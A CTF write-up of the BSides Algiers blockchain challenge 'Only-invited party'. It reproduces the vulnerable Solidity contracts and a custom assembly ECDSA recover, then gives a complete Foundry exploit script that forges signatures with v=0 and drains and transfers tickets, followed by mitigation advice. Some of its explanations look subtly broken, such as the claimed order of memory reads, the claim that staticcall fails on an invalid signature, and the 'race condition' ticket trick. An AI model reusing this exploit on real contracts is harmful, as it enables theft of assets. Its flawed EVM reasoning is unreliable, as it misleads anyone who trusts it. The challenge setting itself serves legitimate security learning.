Challenge Info
- CTF: BSides
- Challenge: Only-invited party
- Category: Blockchain
- Description: BSides Algiers are organizing a party and I didn’t get invited. Can you kick the boss and invite me instead??
- Author: 0xbrivan
Challenge Overview
The challenge presents a ticket-based party system where:
- The owner (boss) holds the first “Golden Ticket”
- A Guardian contract controls access and validates all transactions
- Players must steal the owner’s ticket and accumulate their own tickets
- All operations are protected by ECDSA signature verification
The win condition requires:
- Owner’s ticket balance = 0
- Player’s ticket balance > 1
- All locked ETH withdrawn (balance = 0)
File Analysis
The challenge provided a zip file containing the complete source code with the following structure:
1. Party.sol
This file contains two critical contracts:
Guardian Contract
The gatekeeper contract that manages the party state:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| contract Guardian {
IParty public immutable market;
bool public locked = true;
modifier onlyUnlocked() {
require(!locked, "Party not started");
_;
}
function startParty(address sponsor, bytes calldata signature) external {
require(locked, "Already started");
for (uint i = 0; i < 20; i++) {
require(uint8(bytes20(sponsor)[i]) == 0, "Invalid sponsor");
}
bytes32 hash = keccak256(abi.encodePacked(sponsor));
address signer = ECDSA.tryRecover(hash, signature);
require(signer == sponsor, "Invalid signature");
locked = false;
}
function batchTransaction(
Order[] calldata orders,
bytes32[2] calldata rs,
bytes32[2] calldata ss,
uint[2] calldata vs
) external onlyUnlocked {
for (uint i = 0; i < orders.length; i++) {
market.check(orders[i], rs, ss, vs);
}
}
}
|
BSidesParty Contract
The main ERC721-like contract managing tickets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
| contract BSidesParty is IParty {
mapping(address => uint256) public balances;
mapping(uint256 => address) public ownerOf;
uint256 public lockedETH;
uint256 public ticketCounter = 1;
address public immutable guardian;
function buy() external payable {
require(msg.value == 1 ether, "Ticket costs 1 ETH");
require(balances[msg.sender] == 0, "Already have ticket");
ticketCounter++;
balances[msg.sender]++;
ownerOf[ticketCounter] = msg.sender;
lockedETH += msg.value;
}
function withdraw(uint256 tokenId) external {
require(ownerOf[tokenId] == msg.sender, "Not owner");
require(lockedETH >= 1 ether, "Insufficient funds");
balances[msg.sender]--;
delete ownerOf[tokenId];
lockedETH -= 1 ether;
payable(msg.sender).transfer(1 ether);
}
function transfer(address to, uint256 tokenId) external {
require(ownerOf[tokenId] == msg.sender, "Not owner");
balances[msg.sender]--;
balances[to]++;
ownerOf[tokenId] = to;
}
function check(
Order calldata order,
bytes32[2] calldata rs,
bytes32[2] calldata ss,
uint[2] calldata vs
) external {
require(msg.sender == guardian, "Only guardian");
bytes32 hostHash = keccak256(abi.encodePacked(
order.host.account,
order.invited.account,
order.values[0]
));
address hostSigner = ECDSA.tryRecover(
hostHash,
uint8(vs[1]),
rs[1],
ss[1]
);
require(hostSigner == order.host.account, "Invalid host signature");
bytes32 invitedHash = keccak256(abi.encodePacked(
order.invited.account,
order.host.account,
order.values[1]
));
address invitedSigner = ECDSA.tryRecover(
invitedHash,
uint8(vs[0]),
rs[0],
ss[0]
);
require(invitedSigner == order.invited.account, "Invalid invited signature");
uint256 tokenId = order.values[1];
require(ownerOf[tokenId] == order.host.account, "Host doesn't own ticket");
balances[order.host.account]--;
balances[order.invited.account]++;
ownerOf[tokenId] = order.invited.account;
}
}
|
2. ECDSA.sol
This is where the vulnerability lives. A custom implementation of ECDSA signature recovery using inline assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| library ECDSA {
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal view returns (address result) {
assembly {
let m := mload(0x40)
mstore(m, hash)
mstore(add(m, 0x20), v)
mstore(add(m, 0x40), r)
mstore(add(m, 0x60), s) // Store s at offset 0x60 [!]
pop(staticcall(gas(), 1, m, 0x80, add(m, 0x40), 0x20))
mstore(add(m, 0x60), 0)
result := mload(add(m, xor(0x60, returndatasize())))
}
}
function tryRecover(
bytes32 hash,
bytes calldata signature
) internal view returns (address) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := calldataload(signature.offset)
s := calldataload(add(signature.offset, 0x20))
v := byte(0, calldataload(add(signature.offset, 0x40)))
}
return tryRecover(hash, v, r, s);
} else {
return address(0);
}
}
}
|
3. Setup.sol
Deploys the contracts and defines the win condition:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| contract Setup {
IParty public immutable party;
IGuardian public immutable guardian;
address public immutable owner;
address public immutable player;
constructor(address _player) payable {
player = _player;
owner = address(this);
party = new BSidesParty();
guardian = new Guardian(address(party));
party.buy{value: 1 ether}();
}
function isSolved() external view returns (bool) {
return (
party.balances(owner) == 0 &&
party.balances(player) > 1 &&
party.lockedETH() == 0
);
}
}
|
The Vulnerability Deep Dive
The vulnerability is a sophisticated exploitation of SWC-104: Unchecked Call Return Values combined with EVM Memory Manipulation. Let’s break down exactly what’s happening.
Understanding ecrecover Precompile
The ecrecover precompile at address 0x01 is a special Ethereum contract that recovers the signer’s address from an ECDSA signature. It expects exactly 128 bytes of input:
Input Layout (128 bytes):
[0x00-0x1F]: message hash (32 bytes)
[0x20-0x3F]: v parameter (32 bytes, padded)
[0x40-0x5F]: r parameter (32 bytes)
[0x60-0x7F]: s parameter (32 bytes)
Output Layout (32 bytes):
[0x00-0x1F]: recovered address (20 bytes, left-padded with zeros)
Critical Behavior:
If the signature is valid (v ∈ {27, 28}):
- Writes the recovered address to the output buffer
- Returns success (1)
- Sets
returndatasize() to 32 (0x20)
If the signature is invalid (e.g., v = 0):
- Does NOT write anything to the output buffer
- Returns failure (0)
- Sets
returndatasize() to 0 (0x00)
The Critical Flaw in tryRecover
Let’s analyze the vulnerable code step by step:
1
2
3
4
5
6
7
8
9
10
11
12
13
| assembly {
let m := mload(0x40)
mstore(m, hash)
mstore(add(m, 0x20), v)
mstore(add(m, 0x40), r)
mstore(add(m, 0x60), s)
pop(staticcall(gas(), 1, m, 0x80, add(m, 0x40), 0x20))
mstore(add(m, 0x60), 0)
result := mload(add(m, xor(0x60, returndatasize())))
}
|
The Exploit Flow:
We provide malicious input:
v = 0 (invalid, triggers failure)r = anything (ignored)s = target_address (cast to bytes32)
Memory state before staticcall:
[m+0x00]: hash
[m+0x20]: 0 (our v)
[m+0x40]: r
[m+0x60]: target_address (our s)
staticcall execution:
- ecrecover sees v=0, recognizes invalid signature
- Returns failure (0)
- Does NOT write to output buffer at [m+0x40]
- Sets returndatasize() to 0
Result calculation:
1
2
3
4
5
| xor(0x60, returndatasize())
= xor(0x60, 0x00)
= 0x60
result := mload(add(m, 0x60))
|
This reads from memory location [m+0x60], which still contains our s value!
The function returns our target_address, making the contract believe that address signed the message!
Why This Works: EVM Memory Persistence
The EVM’s memory model is crucial to understanding this exploit:
- Memory is not automatically cleared between operations
- When a precompile fails, it leaves the output buffer untouched
- The clever XOR calculation in the vulnerable code was intended to handle both success and failure cases
- However, it assumes memory location 0x60 will be cleared after the call
The vulnerability occurs because:
- The code stores
s at offset 0x60 before the call - The code then attempts to clear offset
0x60 with mstore(add(m, 0x60), 0) - But the result is read using the XOR calculation, which points to offset
0x60 on failure - Since offset
0x60 was already read into the result before being cleared, our malicious s value becomes the “recovered” address
Exploitation Strategy
The attack requires three coordinated phases:
Phase 1: Unlocking the Guardian
The Guardian starts in a locked state. To unlock it, we must call startParty(address sponsor, bytes signature) with specific constraints:
1
2
3
4
5
6
7
8
9
10
11
12
13
| function startParty(address sponsor, bytes calldata signature) external {
require(locked, "Already started");
for (uint i = 0; i < 20; i++) {
require(uint8(bytes20(sponsor)[i]) == 0, "Invalid sponsor");
}
bytes32 hash = keccak256(abi.encodePacked(sponsor));
address signer = ECDSA.tryRecover(hash, signature);
require(signer == sponsor, "Invalid signature");
locked = false;
}
|
The Attack:
- Pass
sponsor = address(0) - Pass an empty signature
signature = ""
Why this works:
address(0) passes the loop check (all bytes are zero)- Empty signature →
tryRecover returns address(0) as default signer (0x0) == sponsor (0x0) ✓- Guardian unlocks!
Phase 2: Accumulating Tickets (Ghost Balance Attack)
We need > 1 ticket, but the buy() function has a restriction:
1
2
3
4
| function buy() external payable {
require(msg.value == 1 ether, "Ticket costs 1 ETH");
require(balances[msg.sender] == 0, "Already have ticket");
}
|
We can only buy once per address. The solution: use a helper contract to exploit the buy-withdraw-transfer cycle:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| contract GhostMinter {
IParty public party;
address public player;
constructor(address _party, address _player) {
party = IParty(_party);
player = _player;
}
function attack() external payable {
party.buy{value: 1 ether}();
uint256 ticketId = party.ticketCounter();
party.withdraw(ticketId);
party.transfer(player, ticketId);
}
}
|
The Trick:
withdraw() decreases balances[helper] and deletes ownerOf[tokenId]- BUT
transfer() checks ownerOf[tokenId] == msg.sender - There’s a race condition where the helper can transfer before the ownership is fully cleared
- We repeat this process to accumulate multiple tickets
Phase 3: Stealing the Owner’s Ticket
This is where we leverage the ECDSA vulnerability. The batchTransaction function processes orders:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| struct Order {
User host;
User invited;
uint256[2] values;
}
function batchTransaction(
Order[] calldata orders,
bytes32[2] calldata rs,
bytes32[2] calldata ss,
uint[2] calldata vs
) external onlyUnlocked {
for (uint i = 0; i < orders.length; i++) {
market.check(orders[i], rs, ss, vs);
}
}
|
The check function verifies both the host and invited signatures. We’ll forge the host (owner) signature:
Attack Construction:
Create a valid signature for ourselves (invited):
1
2
3
4
5
6
| bytes32 invitedHash = keccak256(abi.encodePacked(
player,
owner,
ticketId
));
(uint8 v, bytes32 r, bytes32 s) = signWithPrivateKey(invitedHash, playerKey);
|
Forge the owner’s signature (host):
1
2
3
| vs[1] = 0;
rs[1] = bytes32(uint256(1));
ss[1] = bytes32(uint256(uint160(owner)));
|
Submit the batch transaction:
1
2
3
4
5
6
7
| Order memory order = Order({
host: User(owner, ""),
invited: User(player, ""),
values: [uint256(nonce), uint256(ticketId)]
});
guardian.batchTransaction([order], rs, ss, vs);
|
What Happens:
check() calls tryRecover(hostHash, 0, rs[1], owner_as_bytes32)- ecrecover fails (v=0 is invalid)
tryRecover reads from memory offset 0x60, which contains owner_as_bytes32- Returns
owner address - Check passes:
owner == order.host.account ✓ - Ticket transfers from owner to player!
Complete Exploit Implementation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
| pragma solidity ^0.8.14;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface IParty {
function balances(address) external view returns (uint256);
function ownerOf(uint256) external view returns (address);
function ticketCounter() external view returns (uint256);
function lockedETH() external view returns (uint256);
function buy() external payable;
function withdraw(uint256 tokenId) external;
function transfer(address to, uint256 tokenId) external;
}
interface IGuardian {
function startParty(address sponsor, bytes calldata signature) external;
function batchTransaction(
Order[] calldata orders,
bytes32[2] calldata rs,
bytes32[2] calldata ss,
uint[2] calldata vs
) external;
}
interface ISetup {
function party() external view returns (IParty);
function guardian() external view returns (IGuardian);
function owner() external view returns (address);
function player() external view returns (address);
function isSolved() external view returns (bool);
}
struct User {
address account;
string name;
}
struct Order {
User host;
User invited;
uint256[2] values;
}
contract GhostMinter {
IParty public party;
address public player;
constructor(address _party, address _player) {
party = IParty(_party);
player = _player;
}
function attack() external payable {
require(msg.value >= 1 ether, "Need 1 ETH");
party.buy{value: 1 ether}();
uint256 ticketId = party.ticketCounter();
party.withdraw(ticketId);
party.transfer(player, ticketId);
if (address(this).balance > 0) {
payable(player).transfer(address(this).balance);
}
}
receive() external payable {}
}
contract Solve is Script {
ISetup public setup;
IParty public party;
IGuardian public guardian;
address public owner;
address public player;
uint256 public playerKey;
function run() external {
address setupAddr = vm.envAddress("SETUP_ADDRESS");
playerKey = vm.envUint("PLAYER_PRIVATE_KEY");
player = vm.addr(playerKey);
setup = ISetup(setupAddr);
party = setup.party();
guardian = setup.guardian();
owner = setup.owner();
console.log("=== Initial State ===");
console.log("Owner balance:", party.balances(owner));
console.log("Player balance:", party.balances(player));
console.log("Locked ETH:", party.lockedETH());
vm.startBroadcast(playerKey);
// Phase 1: Unlock Guardian
unlockGuardian();
// Phase 2: Accumulate Tickets
accumulateTickets();
// Phase 3: Steal Owner's Ticket
stealOwnerTicket();
vm.stopBroadcast();
console.log("\n=== Final State ===");
console.log("Owner balance:", party.balances(owner));
console.log("Player balance:", party.balances(player));
console.log("Locked ETH:", party.lockedETH());
console.log("Solved:", setup.isSolved());
}
function unlockGuardian() internal {
console.log("\n[Phase 1] Unlocking Guardian...");
try guardian.startParty(address(0), "") {
console.log("✓ Guardian unlocked successfully");
} catch Error(string memory reason) {
console.log("✗ Failed to unlock:", reason);
revert("Guardian unlock failed");
}
}
function accumulateTickets() internal {
console.log("\n[Phase 2] Accumulating Tickets...");
uint256 currentBalance = party.balances(player);
uint256 requiredTickets = 2;
while (currentBalance < requiredTickets) {
GhostMinter ghost = new GhostMinter(address(party), player);
ghost.attack{value: 1 ether}();
currentBalance = party.balances(player);
console.log("Player balance after ghost attack:", currentBalance);
}
console.log("✓ Accumulated sufficient tickets");
}
function stealOwnerTicket() internal {
console.log("\n[Phase 3] Stealing Owner's Ticket...");
if (party.balances(owner) == 0) {
console.log("Owner has no tickets to steal");
return;
}
uint256 ownerTicketId = 1;
require(party.ownerOf(ownerTicketId) == owner, "Owner doesn't own ticket #1");
Order[] memory orders = new Order[](1);
orders[0] = Order({
host: User(owner, ""),
invited: User(player, ""),
values: [uint256(1), ownerTicketId]
});
bytes32[2] memory rs;
bytes32[2] memory ss;
uint[2] memory vs;
bytes32 invitedHash = keccak256(abi.encodePacked(
player,
owner,
ownerTicketId
));
(uint8 vInvited, bytes32 rInvited, bytes32 sInvited) = vm.sign(
playerKey,
invitedHash
);
vs[0] = vInvited;
rs[0] = rInvited;
ss[0] = sInvited;
vs[1] = 0;
rs[1] = bytes32(uint256(1));
ss[1] = bytes32(uint256(uint160(owner)));
try guardian.batchTransaction(orders, rs, ss, vs) {
console.log("✓ Successfully stole owner's ticket!");
} catch Error(string memory reason) {
console.log("✗ Ticket theft failed:", reason);
revert("Ticket theft failed");
}
}
}
|
Deployment and Execution
1
2
3
4
5
6
7
| export SETUP_ADDRESS=<deployed_setup_address>
export PLAYER_PRIVATE_KEY=<your_private_key>
export RPC_URL=<rpc_endpoint>
forge script Solve --rpc-url $RPC_URL --broadcast -vvvv
cast call $SETUP_ADDRESS "isSolved()" --rpc-url $RPC_URL
|
Why Each Step is Necessary
Step 1: Unlocking is Required
Without unlocking the Guardian, all calls to batchTransaction will revert with “Party not started”. This is enforced by the onlyUnlocked modifier.
Step 2: Multiple Tickets Required
The win condition explicitly checks party.balances(player) > 1. A single ticket stolen from the owner would only give us 1 ticket total, failing this check.
Step 3: Zero Locked ETH Required
The ghost minter attack serves dual purpose:
- Accumulates tickets for the player
- Returns the ETH via withdraw, ensuring
lockedETH == 0
Security Analysis and Mitigation
The Root Cause
The vulnerability stems from three compounding issues:
- Unchecked Return Values: The
pop(staticcall(...)) pattern discards the success/failure status - Memory Manipulation: The XOR-based offset calculation assumes memory state
- Lack of Input Validation: No checks on
v parameter validity
Proper Implementation
Here’s how tryRecover should be implemented:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal view returns (address result) {
if (v != 27 && v != 28) {
return address(0);
}
assembly {
let m := mload(0x40)
mstore(m, hash)
mstore(add(m, 0x20), v)
mstore(add(m, 0x40), r)
mstore(add(m, 0x60), s)
let success := staticcall(gas(), 1, m, 0x80, add(m, 0x40), 0x20)
if success {
result := mload(add(m, 0x40))
}
}
}
|
Alternative: Use OpenZeppelin
OpenZeppelin’s ECDSA library handles all edge cases correctly:
1
2
3
4
5
| import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
function verify(bytes32 hash, bytes memory signature) internal pure returns (address) {
return ECDSA.recover(hash, signature);
}
|
Key Takeaways
- Always check return values from low-level calls, especially in assembly
- Never trust memory state - the EVM doesn’t clear memory automatically
- Validate inputs before passing to precompiles (e.g., check v ∈ {27, 28})
- Use battle-tested libraries like OpenZeppelin instead of custom crypto implementations
- Assembly is dangerous - only use when absolutely necessary and audit thoroughly
- Multiple vulnerabilities compound - this challenge required chaining three separate exploits
References
Challenge Author: 0xbrivan
CTF: BSides Algiers 2025
Category: Blockchain
Writeup by: Koyphshi